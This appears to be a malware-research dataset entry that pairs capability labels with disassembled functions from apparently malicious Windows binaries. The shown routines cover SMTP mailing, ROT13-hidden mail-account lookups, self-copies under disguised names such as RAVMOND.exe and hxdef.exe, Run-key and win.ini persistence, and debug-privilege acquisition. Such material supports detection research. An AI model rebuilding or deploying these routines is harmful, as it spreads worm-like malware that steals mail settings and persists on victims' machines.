joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408970
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WSOCK32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x40898d
test esi, esi
jne 0x40899f
cmp byte [edi], 0x30
je 0x4089a9
push edi
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x40899f
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov esi, dword [ecx]
cmp esi, 0xffffffff
jne 0x4089a9
pop edi
xor eax, eax
pop esi
ret
mov eax, esi
pop edi
pop esi
ret
Function at 0x408e70
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov ecx, dword [esp + 0x114]
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov dword [esp], edx
mov eax, ecx
xor edx, edx
mov ecx, 0x3e8
div ecx
lea ecx, [esp]
mov dword [esp + 8], 1
push ecx
push 0
push 0
lea eax, [edx + edx*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
mov eax, dword [esp + 0x11c]
shl edx, 3
mov dword [esp + 0x10], edx
lea edx, [esp + 0x14]
push edx
push 0
mov dword [esp + 0x20], eax
call dword [sym.imp.WSOCK32.dll_select]
xor ecx, ecx
test eax, eax
setle cl
mov eax, ecx
add esp, 0x10c
ret

Function at 0x408ee0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x400
test eax, eax
push esi
mov esi, dword [esp + 0x408]
push edi
je 0x408f25
lea ecx, [esp + 0x418]
lea edx, [esp + 8]
push ecx
push eax
push edx
call dword [sym.imp.USER32.dll_wvsprintfA]
lea eax, [esp + 8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
call dword [sym.imp.WSOCK32.dll_send]
mov edi, dword [esp + 0x410]
lea edx, [esp + 8]
push edi
push 0x400
push edx
push esi
call fcn.00408fa0
add esp, 0x10
test eax, eax
jle 0x408f94
lea edx, [esp + 8]
xor eax, eax
mov cl, byte [edx]
cmp cl, 0x20
je 0x408f56
cmp cl, 9
jne 0x408f59
inc edx
jmp 0x408f4a
mov cl, byte [edx]
cmp cl, 0x30
jl 0x408f77
cmp cl, 0x39
jg 0x408f77
movsx ecx, cl
lea eax, [eax + eax*4]
inc edx
lea eax, [ecx + eax*2 - 0x30]
mov cl, byte [edx]
cmp cl, 0x30
jge 0x408f60
cmp byte [edx], 0x2d
jne 0x408f96
push edi
lea edx, [esp + 0xc]
push 0x400
push edx
push esi
call fcn.00408fa0
add esp, 0x10
test eax, eax
jg 0x408f44
xor eax, eax
pop edi
pop esi
add esp, 0x400
ret

Function at 0x408fa0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x114
mov ecx, dword [esp + 0x120]
push ebx
mov eax, 1
push ebp
push esi
cmp ecx, eax
push edi
mov dword [esp + 0x10], 0
jle 0x40906e
mov ebx, dword [esp + 0x12c]
mov esi, dword [esp + 0x134]
mov edi, dword [esp + 0x128]
mov ebp, dword [sym.imp.WSOCK32.dll_select]
sub eax, ebx
mov dword [esp + 0x14], eax
test esi, esi
je 0x409036
mov eax, 0x10624dd3
mov ecx, 0x3e8
mul esi
shr edx, 6
mov dword [esp + 0x18], edx
mov eax, esi
xor edx, edx
mov dword [esp + 0x24], edi
div ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], 1
lea eax, [edx + edx*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
lea eax, [esp + 0x18]
push eax
push 0
push 0
push ecx
shl edx, 3
push 0
mov dword [esp + 0x30], edx
call ebp
test eax, eax
jle 0x40906e
push 0
push 1
push ebx
push edi
call dword [sym.imp.WSOCK32.dll_recv]
test eax, eax
jl 0x409088
je 0x40906e
mov eax, dword [esp + 0x10]
mov dl, byte [ebx]
inc eax
inc ebx
cmp dl, 0xa
mov dword [esp + 0x10], eax
je 0x40906e
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x130]
add eax, ebx
cmp eax, ecx
jl 0x408fe7
mov ecx, dword [esp + 0x12c]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov byte [eax + ecx], 0
pop ebx
add esp, 0x114
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x114
ret
Function at 0x4090a0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x31c
lea eax, [esp + 0x9c]
push str.FbsgjnerZvpebfbsgVagrearg_Nppbhag_ZnantreNppbhagf
push eax
call fcn.00404cf0
lea ecx, [esp + 0x24]
push str.FZGC_Freire
push ecx
call fcn.00404cf0
add esp, 0x10
lea edx, [esp]
lea eax, [esp + 0x9c]
push edx
push 0x20019
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4090f9
mov eax, 1
add esp, 0x31c
ret
mov edx, dword [esp]
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
push esi
push edi
lea ecx, [esp + 0x22c]
xor ebx, ebx
push 0x100
push ecx
push ebx
push edx
mov esi, 1
call ebp
test eax, eax
jne 0x409202
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push 0x20019
lea ecx, [esp + 0x234]
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4091e2
mov ecx, 0x40
lea edi, [esp + 0x12c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
lea ecx, [esp + 0x12c]
push eax
mov eax, dword [esp + 0x18]
push ecx
push 0
lea edx, [esp + 0x38]
push 0
push edx
push eax
mov dword [esp + 0x30], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4091d3
lea ecx, [esp + 0x12c]
push ecx
call fcn.00408970
add esp, 4
mov dword [esp + 0x20], eax
test eax, eax
je 0x4091d3
push 0x19
mov word [esp + 0x20], 2
call dword [sym.imp.WSOCK32.dll_htons]
mov edx, dword [esp + 0x330]
mov word [esp + 0x1e], ax
lea eax, [esp + 0x1c]
push edx
push eax
call fcn.00408b90
add esp, 8
test eax, eax
jne 0x4091d3
mov ebx, 1
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x409202
lea edx, [esp + 0x22c]
mov eax, esi
push 0x100
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
inc esi
call ebp
test eax, eax
je 0x409127
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test ebx, ebx
pop esi
pop ebp
sete al
pop ebx
add esp, 0x31c
ret
Function at 0x409220
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x40922b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push edi
mov edi, dword [esp + 0x14]
cmp edi, 8
not eax
jl 0x409332
push esi
mov esi, edi
shr esi, 3
mov edx, esi
neg edx
lea edi, [edi + edx*8]
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x4126a8]
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4126a8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4126a8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4126a8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4126a8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4126a8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4126a8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4126a8]
xor eax, edx
inc ecx
dec esi
jne 0x40924d
pop esi
test edi, edi
je 0x409354
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4126a8]
xor eax, edx
inc ecx
dec edi
jne 0x409336
pop edi
pop ebx
not eax
ret
Function at 0x409650
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x10
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ax, word [esp]
cmp ax, 0x7cf
jb 0x40966f
cmp ax, 0x7da
jbe 0x409676
mov word [esp], 0x7d4
mov ax, word [esp + 2]
cmp ax, 1
jb 0x409687
cmp ax, 0xc
jbe 0x40968e
mov word [esp + 2], 1
mov ax, word [esp + 6]
cmp ax, 1
jb 0x40969f
cmp ax, 0x1f
jbe 0x4096a6
mov word [esp + 6], 0xa
mov ecx, dword [esp]
mov edx, dword [esp + 2]
mov eax, dword [esp + 6]
add ecx, 0x44
shl ecx, 9
shl edx, 5
or ecx, edx
mov dx, word [esp + 0xc]
or ecx, eax
mov eax, dword [esp + 0x18]
shr dx, 1
mov word [eax], cx
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xa]
shl ecx, 6
or ecx, eax
mov eax, dword [esp + 0x14]
shl ecx, 5
or ecx, edx
mov word [eax], cx
add esp, 0x10
ret

Function at 0x4096f0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x404
push ebx
push esi
push edi
mov edi, dword [esp + 0x414]
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
lea ecx, [esp + 0x18]
push 0x400
push ecx
push edi
mov dword [esp + 0x20], esi
call ebx
test eax, eax
je 0x409769
mov eax, dword [esp + 0xc]
test eax, eax
je 0x409769
lea edx, [esp + 0x10]
push eax
push edx
push esi
call fcn.00409220
add esp, 0xc
mov esi, eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push 0
push eax
push 0x400
push ecx
push edi
mov dword [esp + 0x20], 0
call ebx
test eax, eax
jne 0x409730
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x404
ret
Function at 0x409790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2e0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1ec]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, str.setup
mov edx, str.WORK
mov dword [esp + 0x30], ecx
mov dword [esp + 0x48], ecx
mov ecx, dword [0x422014]
mov eax, str.install
push 0
mov dword [esp + 0x30], edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0x422fb4
mov dword [esp + 0x40], str.letter
mov dword [esp + 0x44], str.pass
mov dword [esp + 0x18], str..RAR
mov dword [esp + 0x1c], str..ZIP
mov dword [esp + 0x48], edx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], str.game
mov dword [esp + 0x58], str.email
mov dword [esp + 0x5c], str.PassWord
mov dword [esp + 0x20], str..exe
mov dword [esp + 0x24], str..com
mov dword [esp + 0x28], str..pif
mov dword [esp + 0x2c], str..scr
mov dword [esp + 0x14], ecx
call fcn.0040a6c6
push eax
call fcn.0040a69e
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
xor ebx, ebx
mov ecx, 0x32
xor eax, eax
lea edi, [esp + 0x124]
mov dl, bl
rep stosd dword es:[edi], eax
mov ecx, 0x32
lea edi, [esp + 0x5c]
add dl, 0x43
rep stosd dword es:[edi], eax
mov byte [esp + 0x10], dl
call fcn.0040a6a8
cdq
mov ecx, 6
idiv ecx
mov esi, edx
call fcn.0040a6a8
and eax, 0x80000001
jns 0x40989c
dec eax
or eax, 0xfffffffe
inc eax
mov edx, dword [esp + eax*4 + 0x14]
mov eax, dword [esp + esi*4 + 0x2c]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
lea edx, [esp + 0x130]
push 0x422f58
push edx
call ebp
call fcn.0040a6a8
and eax, reloc.WSOCK32.dll_closesocket
jns 0x4098cb
dec eax
or eax, 0xfffffffc
inc eax
mov eax, dword [esp + eax*4 + 0x30]
mov ecx, dword [esp + esi*4 + 0x58]
push eax
push ecx
lea edx, [esp + 0x78]
push 0x422f50
push edx
call ebp
lea eax, [esp + 0x80]
lea ecx, [esp + 0x148]
push eax
lea edx, [esp + 0x214]
push ecx
push edx
call fcn.00409360
add esp, 0x30
inc ebx
cmp ebx, 0x18
jl 0x409858
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2e0
ret

Function at 0x409920
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push 0
push 0
push 0x409960
push 0
push ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0xc
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
ret
Function at 0x409990
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412aa8
push 0x40a574
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x130], esi
mov ebx, 0xf000
push 0x104
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.NetMeeting.exe
lea ecx, [ebp - 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 4], esi
push esi
push 0x80
push 2
push esi
push 3
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x130], edi
cmp edi, 0xffffffff
je 0x409a41
cmp ebx, esi
jbe 0x409a3a
push 0
lea edx, [ebp - 0x20]
push edx
mov eax, ebx
sub eax, esi
push eax
lea ecx, [esi + 0x422fc8]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x409a41
add esi, dword [ebp - 0x20]
mov dword [ebp - 0x12c], esi
jmp 0x409a0e
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
call fcn.00409a66
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409a80
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0x20006
push 0
push 0x414040
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x409ab0
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push 0x104
push 0x431fc8
push 1
push 0
push str.Microsoft_NetMeeting_Associates__Inc.
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x409ae1
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ecx
ret
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret

Function at 0x409d50
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x30c
lea eax, [esp + 0x104]
push esi
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 4]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x108]
push str.RAVMOND.exe
push edx
call esi
push 1
push eax
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x409ddb
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x20c]
push str.win.ini
push edx
call esi
push eax
push 0x432058
push 0x432054
push str.WINDOWS
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop esi
add esp, 0x30c
ret
Function at 0x409df0
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x20c
lea eax, [esp + 4]
push esi
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10c]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 8]
push str.hxdef.exe
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, eax
push 0
lea eax, [esp + 0x110]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 4]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x409e74
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
add esp, 0x20c
ret
mov eax, dword [esp + 4]
push 0x104
push esi
push 1
push 0
push str.Hardware_Profile
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x409ea7
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
add esp, 0x20c
ret
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
add esp, 0x20c
ret

Function at 0x40f0bc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x432910
cmp edx, dword [eax]
je 0x40f0de
add eax, 8
inc ecx
cmp eax, 0x4329a0
jl 0x40f0cf
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x432910]
jne 0x40f20c
mov eax, dword [0x43f8f0]
cmp eax, 1
je 0x40f1e6
test eax, eax
jne 0x40f10f
cmp dword [0x4321b4], 1
je 0x40f1e6
cmp edx, 0xfc
je 0x40f20c
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40f146
lea eax, [ebp - 0x1a4]
push 0x412f4c
push eax
call fcn.0040e380
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040e470
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40f189
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040e470
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x412f48
push edi
call fcn.0040a140
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x412f2c
push eax
call fcn.0040e380
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040e390
lea eax, [ebp - 0xa0]
push 0x412f28
push eax
call fcn.0040e390
push dword [esi + 0x432914]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040e390
push 0x12010
lea eax, [ebp - 0xa0]
push 0x412f00
push eax
call fcn.004106f3
add esp, 0x2c
pop edi
jmp 0x40f20c
lea eax, [ebp + 8]
lea esi, [esi + 0x432914]
push 0
push eax
push dword [esi]
call fcn.0040e470
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4a41bc
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x4a41bc
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407090
xor eax, eax
push ebp
push 0x4a43e3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a0558
mov eax, dword [ebp - 4]
call fcn.0041207c
test al, al
je 0x4a43af
mov eax, dword [ebp - 4]
call fcn.004a4418
test al, al
jne 0x4a43af
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a0558
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.0041239c
push dword [ebp - 0x18]
push 0x4a4400
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.004123d8
push dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00407648
mov eax, dword [ebp - 8]
test eax, eax
je 0x4a4263
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x4a4263
lea eax, [ebp - 8]
mov edx, dword [ebp - 8]
call fcn.00406a50
mov ebx, eax
test ebx, ebx
je 0x4a426e
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x20]
push eax
mov ecx, ebx
sub ecx, 3
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.004077d0
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x10]
mov ecx, 0x4a4410
call fcn.00407564
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.004123d8
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 4]
call fcn.004123d8
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4a42bc
sub ebx, 4
mov ebx, dword [ebx]
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.0041239c
push dword [ebp - 0x2c]
push 0x4a4400
lea eax, [ebp - 0x30]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 0x14]
call fcn.004077d0
push dword [ebp - 0x30]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00407648
mov eax, dword [ebp - 4]
call fcn.0041207c
test al, al
je 0x4a43af
mov eax, dword [ebp - 8]
call fcn.0041207c
test al, al
jne 0x4a43af
mov eax, dword [ebp - 0xc]
call fcn.0041207c
test al, al
jne 0x4a43af
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a0558
xor eax, eax
push ebp
push 0x4a4399
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00407134
push eax
mov eax, dword [ebp - 4]
call fcn.00407134
push eax
call sub.kernel32.dll_MoveFileW
mov eax, dword [ebp - 8]
call fcn.004a3d8c
lea edx, [ebp - 0x34]
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a10cc
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 4]
call fcn.004a3e04
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004a4098
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a0558
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a43a3
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a0558
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a0558
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a43ea
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.004070a0
lea eax, [ebp - 0x24]
mov edx, 9
call fcn.004070a0
ret
Function at 0x4a56c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
xor eax, eax
push ebp
push 0x4a57fc
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4a57d7
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 0xc]
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a10cc
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.0041239c
push dword [ebp - 8]
push 0x4a5818
lea edx, [ebp - 0x14]
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a10cc
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.004123d8
push dword [ebp - 0x10]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00407648
mov eax, dword [ebp - 4]
call fcn.0041207c
test al, al
je 0x4a5761
push 1
push 0x4a581c
push 0x4a581c
mov eax, dword [ebp - 4]
call fcn.00407134
push eax
push 0x4a5820
mov eax, ebx
call fcn.00479ce0
push eax
call sub.shell32.dll_ShellExecuteW
jmp 0x4a57cd
lea edx, [ebp - 0x18]
mov eax, dword [0x4ae1b4]
mov eax, dword [eax]
call fcn.004a10cc
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 4]
call fcn.0041239c
mov eax, dword [ebp - 4]
test eax, eax
je 0x4a5798
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x4a5798
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.00406a50
test eax, eax
je 0x4a57a1
sub eax, 4
mov eax, dword [eax]
cmp eax, 3
jne 0x4a57cd
push 1
push 0x4a581c
push 0x4a581c
mov eax, dword [ebp - 4]
call fcn.00407134
push eax
push 0x4a5820
mov eax, ebx
call fcn.00479ce0
push eax
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a57e1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a5803
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004070a0
ret
Function at 0xbfb1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00bfb140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00bfb140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00bfb140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00bfb140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xbfbbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xbfbc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xc0d87c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xbfbc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xbfbc52
xor eax, eax
pop esi
leave
ret 4